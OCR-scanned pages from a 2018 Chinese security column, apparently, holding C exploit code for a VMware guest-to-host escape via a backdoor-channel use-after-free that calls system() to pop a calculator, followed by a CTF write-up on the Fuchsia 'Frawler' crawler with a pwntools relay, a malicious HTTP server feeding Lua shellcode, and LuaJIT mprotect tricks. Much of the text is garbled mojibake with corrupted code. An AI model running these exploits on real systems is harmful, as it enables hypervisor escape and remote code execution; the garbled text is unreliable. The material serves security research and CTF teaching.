channel_close(tmp.cookiel, tmp.cookie2, tmp.num,&res);
if(!res){

printf("fail to close channel\n");

return;

}
void leak(){
struct channel chan[10];
int res=0;
int len,i;
char pay[8192];
char *sl1 = "info-set guestinfo.a

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' ;
char xdata;
char *s2 = "info-get guestinfo.a";
char *xs3 = "1

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" ;
char *s4 = "tools.capability.dnd_version 4";
char *s5 = "vmx.capability.dnd_version";
//init data

run_cmd(sl); // set the message len to be 0x100, so when we call info-get ,we will call
malloc(0x100);

run_cmd(s4);

//first step
channel_open(&chan[@].cookiel,&chan[@].cookie2,&chan[@].num,&res);
if(!res){

printf("fail to open channel!\n");

return;
}
channel_set_len(chan[0].cookiel,chan[@].cookie2,chan[@].num,strlen(s2),&res);
if(!res){

printf("fail to set len\n");

return;
¥
channel_send_data(chan[0].cookiel, chan[@].cookie2,chan[@].num,strlen(s2),s2,&res);
channel_recv_reply_len(chan[@].cookiel, chan[@].cookie2,chan[@].num,&len,&res);
if(!res){

printf("fail to recv data len\n");

return;
¥
printf("recv len:%d\n",len);
data = malloc(len+0x10);
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memset (data, 0, len+0x10) ;

for(i=0; i<len+0x10; i++){
channel_recv_data(chan[@].cookiel,chan[@].cookie2,chan[@].num,i,data,&res);

¥

printf("recv data:%s\n",data);

//second step free the reply and let the other channel get it.

channel_open(&chan[1].cookiel,&chan[1].cookie2,&chan[1].num,&res);
if(!res){

printf("fail to open channel!\n");

return;
¥
channel_set_len(chan[1].cookiel,chan[1].cookie2,chan[1].num,strlen(s2),&res);
if(!res){

printf("fail to set len\n");

return;

channel_send_data(chan[1].cookiel,chan[1].cookie2,chan[1].num,strlen(s2)-4,s2,&res);
if(!res){

printf("fail to send data\n");

return;

//free the output buffer
printf("Freeing the buffer....,bp:0x5555556DD3EF\n");
getchar();
channel_recv_finish2(chan[0].cookiel,chan[@].cookie2,chan[@].num,&res);
if(!res){

printf("fail to recv finishi\n");

return;
¥
//finished sending the command, should get the freed buffer
printf("Finishing sending the buffer , should allocate the buffer..,bp:0x5555556DD5BC\n");
getchar();
channel_send_data(chan[1].cookiel,chan[1].cookie2,chan[1].num,4,&s2[16],&res);
if(!res){

printf("fail to send data\n");

return;

//third step,free it again
//set status to be 4
channel_recv_reply_len(chan[0].cookiel,chan[@].cookie2,chan[@].num,&len,&res);
if(!res){

printf("fail to recv data len\n");

return;
¥

printf("recv len:%d\n",len);

184



KERAEZ2018FEXE

//free the output buffer
printf("Free the buffer again...\n");
getchar();
channel_recv_finish2(chan[@].cookiel, chan[@].cookie2,chan[@].num,&res);
if(!res){
printf("fail to recv finish2\n");
return;

printf("Trying to reuse the buffer as a struct, which we can leak..\n");
getchar();

run_cmd(s5);

printf("Should be done.Check the buffer\n");

getchar();

//Now the output buffer of chan[1] is used as a struct, which contains many addresses
channel_recv_reply_len(chan[1].cookiel,chan[1].cookie2,chan[1].num,&len,&res);
if(!res){

printf("fail to recv data len\n");

return;

data = malloc(len+0x10);

memset (data, 0, len+0x10) ;

for(i=0; i<len+0x10; i+=4){
channel_recv_data(chan[1].cookiel,chan[1].cookie2,chan[1].num,i,data,&res);

}

printf("recv data:\n");

for(i=0;i<len;i+=8){
printf("recv data:%lx\n",*(long long *)&datalil);

}

text = (*x(uint64_t *)data)-0xf818d0;

printf("Leak Success\n");

void exploit(){
//the exploit step is almost the same as the leak ones
struct channel chan[10];
int res=0;
int len,i;
char xdata;

char *sl1 = "info-set guestinfo.b
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBB' ;

char *s2 = "info-get guestinfo.b";
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char xs3 = "1
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"' ;

char *s4 = "gnome-calculator\x00";
uint64_t payl =text+0xFE95B8;
uint64_t pay2 =text+0xECFDO; //system
uint64_t pay3 =text+0xFE95(C8;
char *pay4 = '"gnome-calculator\x00";
run_cmd(sl);
channel_open(&chan[@].cookiel,&chan[@].cookie2,&chan[@].num,&res);
if(!res){
printf("fail to open channel!\n");
return;
b
channel_set_len(chan[@].cookiel,chan[@].cookie2,chan[@].num,strlen(s2),&res);
if(!res){
printf("fail to set len\n");
return;
}
channel_send_data(chan[0].cookiel, chan[@].cookie2,chan[@].num,strlen(s2),s2,&res);
channel_recv_reply_len(chan[@].cookiel,chan[@].cookie2,chan[@].num,&len,&res);
if(!res){
printf("fail to recv data len\n");
return;
}
printf("recv len:%d\n",len);
data = malloc(len+0x10);
memset (data, 0, len+0x10) ;
for(i=0;i<len+0x10; i+=4){
channel_recv_data(chan[0].cookiel,chan[@].cookie2,chan[@].num,i,data,&res);
}
printf("recv data:%s\n",data);
channel_open(&chan[1].cookiel,&chan[1].cookie2,&chan[1].num,&res);
if(!res){
printf("fail to open channel!\n");

return;
}
channel_open(&chan[2].cookiel,&chan[2].cookie2,&chan[2].num,&res);
if(!res){

printf("fail to open channel!\n");

return;
b
channel_open(&chan[3].cookiel,&chan[3].cookie2,&chan[3].num,&res);
if(!res){

printf("fail to open channel!\n");

return;
}

channel_recv_finish2(chan[@].cookiel,chan[@].cookie2,chan[0].num,&res);
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if(!res){

printf("fail to recv finish2\n");

return;
b
channel_set_len(chan[1].cookiel,chan[1].cookie2,chan[1].num,strlen(s3),&res);
if(!res){

printf("fail to set len\n");

return;
¥

printf("leak2 success\n");
channel_recv_reply_len(chan[0].cookiel, chan[@].cookie2,chan[@].num,&len,&res);
if(!res){

printf("fail to recv data len\n");

return;
¥
channel_recv_finish2(chan[0].cookiel,chan[@].cookie2,chan[@].num,&res);
if(!res){

printf("fail to recv finish2\n");

return;
b

channel_send_data(chan[1].cookiel,chan[1].cookie2,chan[1].num,8,&payl,&res);
channel_set_len(chan[2].cookiel,chan[2].cookie2,chan[2].num,strlen(s3),&res);
if(!res){

printf("fail to set len\n");

return;
b
channel_set_len(chan[3].cookiel, chan[3].cookie2,chan[3].num,strlen(s3),&res);
channel_send_data(chan[3].cookiel, chan[3].cookie2,chan[3].num,8,&pay2,&res);
channel_send_data(chan[3].cookiel, chan[3].cookie2,chan[3].num,8,&pay3,&res);
channel_send_data(chan[3].cookiel, chan[3].cookie2,chan[3].num,strlen(pay4)+1,pay4,&res);
run_cmd(s4);
if(!res){

printf("fail to set len\n");

return;

¥

void main(){
setvbuf(stdout,,2,0);
setvbuf(stderr,0,2,0);
setvbuf(stdin,0,2,0);
leak();
printf("text base :%p",text);
exploit();
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Enjoy your calculator:)

KT

LA S NEIBEEIRA—T., BAMEEEIEvmwareFFiesE, #AE7EhostAgdb3attach L%, X
MRS TS, AREHEITIT, HAEMguestEEBexploitflA, BARE—T, WMRIRAEE
guestEEAIATIR, hostBgdbidZE] THim, =/EF?

ARNgdbidE T =, ABAguestiE(ET . AMIREEguestEE, RIIEE DERKctri+altt) Bk

, BB AR T —BIEE E—1F, XPIHMRIRER T 20B@ X 2 INRB T AFNE. FRMARERE

HEHRIC S I EexpFF kil sleep, A G fEsleepMIBH R T R IE R AR Y] H K ElhostHR, XEERL BJ BAE EE
7. (PSIFBmac 2B XM, ENmach E#AERYER?)

I S MEMREXEXEGR, WilE|github_Efollow—ENe0(https://github.com/Chango-
chen)#bibi(https://github.com/fpbibi)

IEER RS
BEERTH:

MBERIEZR S Ubuntu x64 1804
HirVMWare Workstation: VMware-Workstation—Full-15.0.2-10952284.x86_64.bundle,
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https://drive.google.com/open?id=1SI0jAhXONCpWTP]ASTMO3v5QBVRIT-sp
patched VMX: https://drive.google.com/open?id=TMJQSQYufGtlI9DAQNG1osyMk_1YbgCPL-E

—&sERZH:

https://www.zerodayinitiative.com/blog/2017/6/26/use-after—silence—exploiting—a—quietly—patched-uaf
—in—vmware

https://www.52pojie.cn/thread-783225-1-1.html

https://sites.google.com/site/chitchatvmback/backdoor

189



KERAEZ2018FEXE
Chaitin Tech Column 2018

RW CTF Frawler WP |
luajit5 fuchsiabREZ I (1)

fE&: Anciety

Frawler

BRRPRWCTFHBEYEE, RERBANREERERE, RAMRLRERER, BRH@Da-
vid492jiZER), MR IR THREBE, UEiEREH@pizzatiHo D HIREREFETIE,

HJENEREEERBERER, BEERRE—RFEONMNRERELOTET, L7 david—PHEIR
A, F_RDMAIRA, BERKME—"TFT. . IFEAE,

XEETwriteup, RETHECHDTIREE, BRREXT2MIRELEREREM, ELFENEA
B ML REZ R A IEN .

AEHERDITRER

BREEDT— T

Well, it turns out that the time machine we used to pwn suanjike is not a realworld thing
:( Let's try something from the future without time traveling.

The flag is located at /pkg/data/flag in frawler's namespace.

nc 100.100.0.103 31337

No undisclosed bug in public codes required. (Technically they should not be called
"@-day" as the entire stack is in experimental state anyway.)

B EMNRRE R 7 flagfH7E/pkg/data/flag®, BERAEZHIT—ED.

MEXHLLER K, T IFRZELEME—"Tgemufl—R5IE, ELFHZaIAIdfuchsiaift, FrlAEE
XA R EEEARHE X T MfuchsiatB ki, EEZEE—"TPrun-zirconX {4,

=hl

B4

&
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exe
— frawler
L frawler-host

img

— fuchsia.zbi
— fvm.blk
L— multiboot.bin

}— ivshmem-client

f— ivshmem-server

— gemu-img

— gemu-io

— qemu-nbd

— gemu-system-aarch64
L gemu-system-x86_64

— libexec

L gemu-bridge-helper

L— share

L gemu

— acpi-dsdt.aml
— bamboo.dtb

— bios-256k.bin
— bios.bin

— efi-el0@0e. rom
— efi-e1000.rom
— efi-eeprol00. rom
— efi-ne2k_pci.rom
— efi-pcnet.rom
— efi-rt18139. rom
— efi-virtio.rom
— efi-vmxnet3.rom
— keymaps

| Far

| | bepo
| | common
| =z

| | da

| de

| |— de-ch
| | en-gb
| | en-us
| es

| et

| fi

| fo
|t

| | fr-be
| | fr-ca
| | fr-ch
| F=nhr

| hu

| s

| it

I e £
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| I el

| | =W

| | = mk

| | | modifiers

| | =t

| | — nl-be

| | o

| | ot

| | ot

| | = pt-br

| | ru

| | st

| | = sv

| | = th

| | L—tr

| — kvmvapic.bin

| — linuxboot.bin

| — linuxboot_dma.bin
| — multiboot.bin

| — openbios-ppc

| — openbios-sparc32

| — openbios-sparc64

| — palcode-clipper

| — petalogix-ml605.dtb
| — petalogix-s3adsp1800.dtb
| — ppc_rom.bin

| — pxe-e1000. rom

| — pxe-eepro100. rom

| — pxe-ne2k_pci.rom

| — pxe-pcnet.rom

| — pxe-rt18139. rom

| — pxe-virtio.rom

| — QEMU, cgthree.bin

| — gemu-icon.bmp

| — gemu_logo_no_text.svg
| — QEMU, tcx.bin

| — gemu_vga.ndrv

| — s390-ccw. img

| — s390-netboot. img

| — sgabios.bin

| — skiboot. lid

| — slof.bin

| — spapr-rtas.bin

| — trace-events-all

| — u-boot.e500

| — vgabios.bin

| — vgabios-cirrus.bin
| — vgabios-qxl.bin

| — vgabios-stdvga.bin
| — vgabios-virtio.bin
| L— vgabios-vmware.bin
README . md

run-zircon
start-dhcp-server.sh
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BEXGERRLERS, —TERNIESRErun-zircon, zirconZfuchsiakIWix, FiAERIXEMAY

B EfuchsiaR 4 7,
FI—TLREARNZE, exeEEERTBEXHT.,
EHITT—T oMz, BNIMEFTETBE— Tfuchsia®Rft,
Fuchsia®& %

Fuchsial@fE R R google EE A AT —1TRF, EXLBXEEHAZRRSZ, TEZHEZFR, B
XA RENHR, —LEARIMNMRAEZREZZEN,

MBRIER G DEFE, fuchsiaRB T HAZIEEM (& Twindows? ) , BFHIRBEZTEXEposix
FiE, FIAERSHFESHENAAMMInuxE—LEEZE, BETIERINKEERNEpWwnIEHFEE
THRN—YERAS,

AT

fuchsiaf BRI T E L fMwindowstE 3BT, X linux3Eix, AXTEMEERFTERNSR, £H
F =8B handlelFZN A, MBABARARTHRENIREMEZ BT ZiEhandleEXLH A, handleX
BB —TEREENNRRSE,

EREIFXEBNFNNFBEREERRANEIN, EEHMNRAREBFPZEB Epwn, BIRFE
BRI ERMEERBRAABEMAINT , MAEMNWpwniEmAEFMNREEENL,>ELZRARIFRAN
ML,

FElinuxEFNURBETHAF R, UREBRTEERE, BRIEZREAZFBREZREGFHE
R FEa ik S AR, BREEzirconWiZ(fuchsialINiz)F, RAEAREBIVvDSORTMA.

BN P ZEpwnlIEZ M IZXVDSOANRE, EEXESInuxBI—THRXBEAIET, &
linuxfvDSOR A TIIRARBAEEN, MiEzircond, XEM——FMETRARBABNAE, WRER
fEMsyscalillfmie<, ARSI FREITcheck, XFRITIEIZZRIBLR,

PRIAEARERRMNBJIRIZN—TXBEERSNEATRAFBHONEA, SR, WREBERLY
WHEEM R T .

ARRIRLIE
HERX—RBNIZRBHABZEEKR, . AVEIBRARBENREERERRENR, .
XS ELEBRERSIEE, SRBTXTRAABEIFEFHONER, XEHDERJURRIE.

HMELFFEZFERANXEEN (RAFTEIEIbcEFEE LK) , MfuchsiaRFi KA T ZREROMH
&, RxEMFzircon, N T Af#Ezircond, @&4F, zirconEHAEAXK, AETRHTHEREXITMNERLT
ROREH, BREARBTHEVPSERIEZETTHRNGE. . (Bifi@sakural@ H18E))
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BN X—ZoMEAMM T, ENERZEEILMFgarnetE, T AINAgarnetEEZLEIR K
B9, EIARNSXHEPETIREZESDKY, BEMNFHEEELRFFNSODKIAATE, FAURERCH
F, IARABERXAT., . « MEAREASRNSGIE,

XEBESIFHEARE — DA EIUABREE, BFERFALZBELFTRIERLINE, MUBSEEZR., 30
MBI ERNERHE(run.shR)8Brun-zircon@ <L &GN E—-debuggeritln, X#FA]UAgdbR&EE
1234w 0 (HESEXEBMELinuxAZ—#F, NREWBEEHzirconW) . ZEEBEpsEEFRHES
[ERIBLBE vmapsEEEmapping, Z/fa MR EIEshiARNM S EEAgdbiid, MRAESRXMA
FEHTERNAT NS RE— T2EFEEEM -,

FTHMNAEBETRT —LfuchsiaREMNEM T, WFERANTE, FIUEEfuchsiaX
(googlefR552s) , ZEHMABIFMHERfuchsia RGEXEMAIRT

FETBRTXEZEBNMAIUTRE-—TREFEERINET, BihEfrawler-host,

XM EFEIANEABTEFMENEEDE, ENIRIEREADME:

. tunctl -u $USER -t gemu’

Run “run.sh".

Wait about 1 minute.

. Service is running on 192.168.1.53:31337

H W IN BP

XERMZEEB—Tservicety, ZENB—TRUAI:

7 = sub_1B8BO(v2 - 1800);
if ( (unsigned int)sub 1FE70(v7, OLL, al + 32) )

fx1::LogMessage: : LogMessage (
(fxl::LogMessage *)(v2 - 1160),
s
65.

v8 = sub_1B8BO(v2 - 1160);

sub_1B8AO(v2 - 1832, v8);

fx1::LogMessage: :~LogMessage( (fx1l::LogMessage *)(v2 - 1160));

}

sub_1B8F@(v2 - 1800);

Tl SEpngP i neh ((hdls * ) (w2 =i 797

vl = sub 1B940(v2 - 1792);

v10 = sub_1B960(v2 - 1792);

if ( (unsigned int)sub 1B91@0(al + 32, 3LL, v9, v10) )

fx1::LogMessage: : LogMessage (
(fx1l::LogMessage *)(v2 - 1448),

RIBEMNBNtcp RSB R[BAVIRIE, FIUEF LB XM EFRJITFANED (pizza: BRI, E—IR
MIBERT, FAB®) , FAIULEREXEfrawlerizx,
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__writefsqword(0x18u, vO@ - 160);
setvbuf (*(FILE **)off 76448, OLL, 2, OLL);
setvbuf (*(
setvbuf (* (FILE **)off_76450, OLL 2 QLInE:
sub_6D2F@(v0 - 112, robot i

sub_ GBCSG( - 88, vO - 117),

ELLEE **)ofif 76458, 0L, 2, oL

*(_QWORD *)(v@ - 8) = __readfsqword(0x10u);

std::  2: ba51c_string<char,std::__2::char_traits<char>,std::__2

Tf *(_DWORD *)(v0 - 40) != 200 )
exit(1);
sub_6BCDO(vO - 136, vO - 88);
*(_QWORD *) (v@ - 144) sub_6DOFO (v - 136);
*(_QWORD *) (v@ - 152) sub_6D10@(ve - 136);
while ( (unsigned __int8)sub 6C710(v0 - 144, vO - 152) )
{
vl = sub 6C720(v0 - 144);
request(vl);
sub_6D1BO((_QWORD *)(v0 - 144));

¥

sub_6C880(vO -
sub_6D380(v0O -
__writefsqword (0>
return OLL;

::allocator<char>>: :~baj

KE—ZF, Hrobots.txt, BER— FIAE B FEfrawler, FNEfuchsia crawlertiE R, BBAMNIZHE
—PeR—ERZE T, (XELEWEN, FEA/NOIEpizzasEMidbEM T, FAERFLEREE)

BRI, BEEALZEREBZE, K& —ThttplEK, 1EKrobots.txt, AERMENrobots.txt,

ZEEHEDisallowR9 AR (E[EDisallow? ? )
BE—1NIERERBMH A :

S GDlDO(Vl - 120, vl - 88, vl - 144);

std: 2::basic str1ng<char std:: _2::char_traits<char>,std:

if ( (unsigned  int8)sub_ 60320(v1 - 120)

{
sub 6D330(vl - 120);
(unsigned 1int8)sub 6D130(v2,

stream = *(FILE **)off_76450;
v = sub 6D1CO(al);

vl = sub 6C870(vl -

v8 = sub 6D1CO(v1 -
fprintf(stream, "A

sub 6D330(v1 -
sub_6D130(v3,
(_ BYTE)v4 )

ecute lua(vl - 88, v4);

) && ! (unsi¢
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—Ptext/x-luas|lE TR, . XBEEIRAEpizzafly, TIEAREEIUB—

sub 25240(L, (unsigned _ int64)sub 296CO0,
sub_25240(L, (unsigned __int64)sub 29620,
sub_25240(L, (unsigned __int64)sub_ 295B0,
sub_25240(L, (unsigned __int64)sub_ 29800,
w22 = sub_GCASO();
v23 = sub 6C870(al);
sub_26270(L, v22, v23, "tokencompute");
guess_lua_pcall(L, 0, 0, 0);
sub_ 246D@(L OXFFFFDBEELL df28c53764¢
if ( !(unsigned int)guess_lua_pcall(L, 0,
{
if ( (unsigned int)sub 23410() )
{
v24 = sub_23A60(L, OxFFFFFFFFLL, OLL);
sub_ 6C850(&unk 770D0, v24);
v25 — *(FILE **)off 76450
v26 = sub 6D1CO(( _ 1nt64)&unk 770D0) ;
fprintf(v25, "Token: %s\n", v26);
}
}
result = (CDWORD *)sub 21880(L);

}

return result;

A View-A LE pseudocode-A B | [E LocalTypes B | @ HexView-1 [ | [B Structures E B | 8 Imports B | &
__1inte4 _ fastcall sub_29830(__inte4 al)

1
L inté4 v1; // rbx

vl = al;
sub 29910 (al
sub 215F0(al LNu;
sub 215F8{al, "x64", 3LL};
sub_23F80(al, 20100LL)

(al);
(
E
sub 215F0(al, all 1.0-betal", 18LL);
(
(
(vl
(

nux*, 5LL);

sub 292B0(al [ilotee &unk 4F40 of f 75910);

sub_29730 vl t.profile", sub 29980, *(unsigned int *) (vl + 44));
sub 29730 ", sub_299A0, (unsigned int *)(vl + 44));
sub_292B0
* (_QWORD
return 1L1;

al, "jit.opt", &unk_4F87, off 75938);
*)(al + 24) -= 16LL;

SRBEFKFTELERER, BE2EIuajitIHMINIZARBMBAT, XEBSEENIT Tluaftil (A%
NluajitFmi? ) , REHEMAOED 2RI AN LM ARANIuajitRi3 X E @A, SAFUABEMHNT T &
R E R R BhashB—HAIuaR L, FilATEresponseAIRT &L X MNMua R EH A AL Tlua iR EL T

XBHZE—TFpizzatlBIA, 598 T pwntoolsBINEERBrequestflresponse# (T T4, XiE
AU — P EIEservers R lES 7




request.py:

from pwn import *
context.log_level = "debug"

frawler = remote("192.168.3.53", 31337)
srv = remote("localhost", 31337)
frawler.connect_both(srv)

frawler.wait_for_close()
srv.wait_for_close()
frawler.close()
srv.close()

forward.py:

#!/usr/bin/python
# —- coding: UTF-8 —%—

from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler

class TestHTTPHandler(BaseHTTPRequestHandler):
def do_GET(self):

self.protocal_version = 'HTTP/1.1'

self.send_response(200)

print(self.path)

if(self.path == "/robots.txt"):
content = ""
content += "Disallow: /a.txt\r\n"
content += "Disallow: /b.txt\r\n"
#content += "Disallow: /c.txt\r\n"
#content += "Disallow: /d.txt\r\n"

elif(self.path == "/a.txt"):
with open("script.lua", "r") as f:
content = f.read()

with open('shellcode.hex', 'r') as fs:
content = content.format(fs.read())
self.send_header("Content-Type", "text/x-lua")

elif(self.path == "/b.txt"):
content = "hello world b"

self.send_header("Content-Type", "text/html")

elif(self.path == "/c.txt"):
content = "hello world c"

self.send_header("Content-Type", "text/html")

elif(self.path == "/d.txt"):
content = "hello world d"

self.send_header("Content-Type", "text/html")

self.close_connection = @

self.send_header("Content-Length", str(len(content)))

self.end_headers()
self.wfile.write(content)

def start_server(port):

http_server = HTTPServer(('localhost', int(port)), TestHTTPHandler)

http_server.serve_forever()

start_server(31337)
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BETIRADHBEMNEAMZREIVaBTANT, 2FAHBIMNE, RIWUIBAXMMuaibi
FEkEATRE, XEAINER—LEHEY, IREE-TRHEETFE, NRZ2ERXENE

function fdb@cdf28c53764e()
return tostring(loadstring)
end

BRI 20185 B
Chaitin Tech Column 2018

giEE35, BHE
£

FRAUNBEXFNHEEMABHMERARITAN., IEFBER, 02BN (FAMERZMET) |,
EABROMERT: B loadstring = SeluafigydFaikie, &M 1Tshellcode=5BRFIRE.

luajit ¥D#8
EbFFER (B AU B

$7, MERNBBELERBH T, BTRMEBEEZ ST —TRRUE, F-—F AR
MEE, TERMNEITEREXE, FRXEEZELH Texp, nice!

FEBNTEH T luajithR1E, BT EBEMmXHEEfuchsiaZAH, HNTBXLERAE,

Tluajit IR EAR AR 1E < EAMIEIN, FTEERIAMINZ/EBA T BirfuchsiaR 4,

ET¥k., . EEARL:

-

- @x9092909298929092
zero CARRY PARITY adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 id
on]

: BxB000 : Bx@802b : Bx0000 : BxB033 : @x0eea

Bx4000ab6440000378

- @x0000000000000000
0x0000000000000000
Bx00PAAR00RAAAA001

, nargs=<optimized out>, nresults=<opti

X narg=0x@, clear=0x8)
pt(n=<optimized ouk>, argv=<optimized out>, L=<opkimize

in(L=0x40000378)
] Bx > Name: lua_cpcall(L=<optimized out>, Func=<optimized out>, ud=<optimized

uk>)
] Bx55555555b626 - Name: main(argc=08x2, argv=0x7FFFFFFFe578)

C
L
E
i
I
C
C
E
L
o
C

gef»

ERR uajitPFE

PRUAZAT T 3
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ok, X#%7, MAERNITEEZBHNRBET, SECESH—T. . HEINEBEERENEENI
SNT, BELERIT, BAIZHMENREET

Bx40014001
Bx48@14002
@x40014003
0x40814004
0x40814005

CCQ
L=<optimized out>, nargs=<optimized ouktx,

x40008378, narg=0x8, clear=0x8)
E(n=<optimized out>, argv=<optimized ogu

Dx4000@378)

)

pcall(L=<optimized out>, Func=<optimized out>,

mainCargc=0x2, argv=Bx7FFFFFFFe578)

POPD BxPPONDEDAPDRACEDA
@xB@8as55 @0 Bxbooe PeBD BxBRERERNABEERGBAG
@xB8085 000 BxP0Ae b@ee BxPRERPEREPREREBRA /home/ancieky/sour
IT=2.1.0 src/luajit
S5b@@@ BxPABA5555555b2000 BxBEANBBAABAAA7E0E x /home/anciety/sour

[luajit ~ MH =
00 BxBEPAS555555CE fhonél;l::l;:c@%gur

77, EAFMUBHBESREB T, BAKNBEBENRZAMSEM/L.

—— The following seven lines result in the memory protection of
—— the page at asaddr changing from read/write to read/execute.
—— This is done by setting the jit_State::mcarea and szmcarea
—— fields to specify the page in question, setting the mctop and
— mcbot fields to an empty subrange of said page, and then

—— triggering some JIT compilation. As a somewhat unfortunate

— side-effect, the page at asaddr is added to the jit_State's
—— linked-list of mcode areas (the shellcode unlinks it).

local mcarea = mctab[1]

mctab[0] = @

mctab[1] = asaddr / 2752 / 271022
mctab[2] = mctab[1]

mctab[3] = mctab[1]

mctab[4] = 2712 / 2752 / 271022

while mctab[@] == @ do end

EXZZEEEEMRNBERT . AR TIEBENIHIT—TEN, XHEAJNETE TREB R ELR
fasegfault&Eth17, BRINMNBRZ2EUNETEOERNSEL 7O, FAURIEQREEjitZEER
jitZ8n):

199



KERAEZ2018FEXE

Chaitin Tech Column 2018

—— while mctab[@] == @ do end

— BR

local i = 0

while i < 0x100000 do
print(i)

end

ZIREFTENI B2 ctrl + cHhlT, BRIHRPRZ:

7FFFF7d@bB1e <write+38> ja @x7FFFF7d@b878 <wrike+120@>
i 2 rek

nop DWORD PTR [rax+@x@]

push r12

m

e
E

mov r12, rdx

27R

- Name: = (L=0x4 378)
- Name:

E>)
1(L=0x40000378, narg=0x8, clear=0x0)

s
N

Lol R R ]

18, AL, thrtElua_State, BEEBTREIRFIAjit_State, EXREEEK— T, EERG:
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BT lua_StatefEGG_StateMIE— N UE, MABILLMTIEHE -1, AMNAIMNEZET
*(GG_State*)0x40000378EBELENE:

mckop = @x <repeats 1976 kimes>, "L\213W\@20\27@\0@4",

mcbot = Bx40@14000 ' <repeakts 1976 tEimes>, "L\213W\020\270\084",
= = Bx40014000,

rea = @x1000,

XERFFGARNN, ZEBEREBAIRE, NiZzaEmcareaflszmcareaERnEEmprotectlTI, A
femctopFimcbotig@TIAN, FE2HEBRARBENGEESEIN T Esegfault IFRHMEEIRS:

SZmcarea

szallmcarea = Ax110004

XEEREHAINELSER T, BABIIRBEREEN—T:

local mcarea = mctab[1]
mctab[@] = asaddr / 2752 / 271022
mctab[1] = asaddr / 2752 / 271022
mctab[2] = mctab[1]
mctab[3] = mctab[1]
mctab[4] = 2712 / 2752 / 271022
——while mctab[@] == @ do end
local i =1
while i < 0x1000000 do

i=1i+1

——print(i)
end

r evil.lua

error in call to Lua API (runtime code generation failed, restrickted kernel

AF @BF

FERIHUTT .
FRERANRE

HEXAELEFREZXNEBAEARBARNEEZR, REIBERREELFHREMLEROXE, SRS
luajit—A1¥ 8, SEERMEINEBKBMNERRR, BANMEBOREEFAIT.
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EX FEREEHE R BexpiRIE@david42) KERENEBES ERHexpZ e, HIKAREEEARN
A HREEINRIFBmMprotectAyE R .

FIBTFEIREENEIAMET X P mprotectl B Ezircon BB #HT, FILURTEHLER—T
luajit, BEHREMTAREER T, RAEXEILHBEKE SRR ZEBAEEM)L,

luajithyjit
ANTERERE, HMNEEEREE—LluajitlBIEFNIR,
BT —L R, AT L uajitE— N E T tracetbjit, BB — Fwikiml A EMEX S S,

EFtraceVjitE AT ZM BIZBREIVAECKF#Thot loops, #EIhotMENZfE, fBEICREBITIIRE
A, Kok THETERERIEMCHEAE, XiF2/E0hot loopiEZEANRATILRNE, MMmNIR
BE, BREXMAANZEZRANBENIEN, EAXFNAASRANBEREZGIRA @6, =5
RFBEHX —Fhtrace, XL MECBEIRMM AL E R,

ZEFluajithIRIE LN, RRBEE T XRXEER T 7 AEMIuajit I3 EMaT,
WA
BB T — TR ItHHIRMRS, EMIARIREN T HAE0E:

local mcarea = mctab[1]

mctab[0] = 0x1234/ 2752 / 271022
mctab[1] = 0x4321/ 2752 / 271022
mctab[2] = Oxdead / 2752 / 271022
mctab[3] = @xbeef / 2752 / 271022
mctab[4] = 2712 / 2752 / 271022

local i =1

while i < 0x1000000 do
i=1i+1
——print(i)

end

iR

mcprot 0x0,

mcarea 0x1234 <error: Cannot access memory at address 0x1234>,
mctop = 0x4321 <error: Cannot access memory at address 0x4321>,
mcbot = Oxdead <error: Cannot access memory at address @xdead>,
szmcarea = Oxbeef,

szallmcarea = 0x1000,

FrAmctablO1X fimcarea, A/E 2 EHIM R 2EHE .,

I, ATREBHEGITUE, Femprotect F TR, AERETHRNEBTITRINNES exp, 2
[ai@idbacktrace X BIXBMUE, TREFLINT ZRMR, BILLXNSE, PRIBRIN—HEMX:

\
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[ trace ]|—
[#0] ox7ffff7d15790 - Name: mprotect()
[#1] 0x555555584b30 - Name: mcode_setprot(prot=0x3, sz=<optimized out>, p=<optimized out>)
[#2] 0x555555584b30 - Name: mcode_protect(J=0x40000558, prot=0x3)
[#3] 0x555555584dba — Name: mcode_protect(prot=0x3, J=0x40000558)
[#4] 0x555555584dba - Name: 1j_mcode_reserve(J=0x40000558, lim=0x7fffffffdf38)
